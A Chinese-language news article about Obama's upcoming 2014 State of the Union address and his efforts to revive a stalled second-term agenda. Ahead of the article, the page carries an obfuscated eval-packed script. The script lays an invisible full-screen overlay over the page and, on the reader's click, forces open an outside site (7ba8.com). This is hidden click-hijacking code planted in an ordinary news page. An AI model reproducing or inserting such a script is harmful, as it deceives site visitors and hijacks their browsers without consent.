<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国总统奥巴马(Barack Obama)即将于下周二发表他的第五次国情咨文演讲。在经历了数周的征求意见之后，白宫仍在拟定演讲将包含的最终政策提议。收入差距、能源、气候变化、大学教育成本和幼儿早教等问题都可能成为重点话题。
但国情咨文演讲的意义不仅仅局限于演讲本身。对于任何在任的美国总统来说，这实际上都是一个全新的开始。现在，与他担任总统以来的任何时候相比，奥巴马都更加需要这种重新来过的机会。总体上说，2013年是徒劳的一年，白宫在立法方面几乎没有（或者说干脆就没有）取得任何进展（最近几周奥巴马依然在忙着兑现他在去年国情咨文演讲中许下的诺言）。奥巴马力推的医改法案在年底实施时也变得一团糟，从而将一个政治把柄交到共和党人手中。
而且他只剩三年时间了。
考虑到这一点，白宫希望这次演讲能对奥巴马无所作为的第二任任期开头进行一次“重启”。在奥巴马全年可能进行的演讲中，这将是吸引观众数量最多的一次。奥巴马的副手们将帮助他制定怎样的政策提议，以及之后白宫如何落实这些政策将至关重要。
在与意见存在严重分歧的国会进行长达三年的争斗之后，奥巴马的副手们在准备下周的国情咨文演讲稿时已经遇到了一个关键问题：面对经常对奥巴马的政策计划表现出敌意的国会，总统应该以怎样的姿态发表演讲呢？
白宫周二公布的一个视频显示，副手们已经就相关策略拿定了主意。在视频中，总统的幕僚长丹尼斯?麦克多诺(Denis McDonough)说道：国情咨文不仅是与国会的一场对话，也是与你们——美国人民的一场对话。
人们会对这种策略感到熟悉。自从2010年共和党人控制了众议院并在参议院夺走了数目可观的席位以来，奥巴马就一直试图在华盛顿之外推销他的提议，以此向国会施加压力。
没有迹象显示国会议员会突然对他的计划表示欢迎，特别是考虑到今年还是选举年。有鉴于此，奥巴马的团队准备采取类似的策略。
长期担任奥巴马顾问的阿克塞尔罗德(David Axelrod)最近接受采访时说，这是一个重新调整关注点的机会。
奥巴马过去一周曾表示，和过去五年相比，他已经不再花那么多心思去考虑让一项议程在国会获得通过。他说，他有一支笔和一部电话，已经准备好签发总统令，并绕过国会直接同商业领袖及其他人商议政策变化。
奥巴马在接受《纽约客》(New Yorker)采访时说，说到国会，没有什么提议他们不会拒绝。上述采访刊登在本周出版的《纽约客》上。
奥巴马总统需要调整战略才能兑现承诺，让2014年成为“行动的一年”。立法方面，移民改革是奥巴马有可能在第二任期内完成的一项主要任务，但即便是在这方面也远没有十足的把握。
在更广泛的政治遗产方面，奥巴马在经济不平等问题上押下重注。上述白宫视频向美国民众承诺，总统下周将通过图表以及同政府官员的对话来提出他的政策。
去年国情咨文中的许多问题都将重新纳入2014年，包括气候变化、税改和基础设施支出。
该视频强调了其中的一些问题，提到社会保障、贸易、气候变化、职业培训、能源、教育和退伍军人。（很明显，这并非是总统要讨论问题的详细列表预览。）
麦克多诺说，国情咨文演讲只是一个开始。
的确，总统的助手们正在努力确保他不会像2013年那样留下空白的一年。白宫西厢认为，在任期仅剩三年的情况下，奥巴马确实无法承担碌碌无为的又一年。中期选举后，奥巴马落实立法目标的可能性将进一步减小。随着奥巴马继任者的争夺战不断升温，奥巴马可能还会发现，以白宫近几周提到的召集力量来衡量，他的影响力将会减弱。政府官员清楚地意识到时间的紧迫。
阿克塞尔罗德说：我的感觉是，他们感到只剩下三年时间，他们希望充分利用好每一天。 |
收藏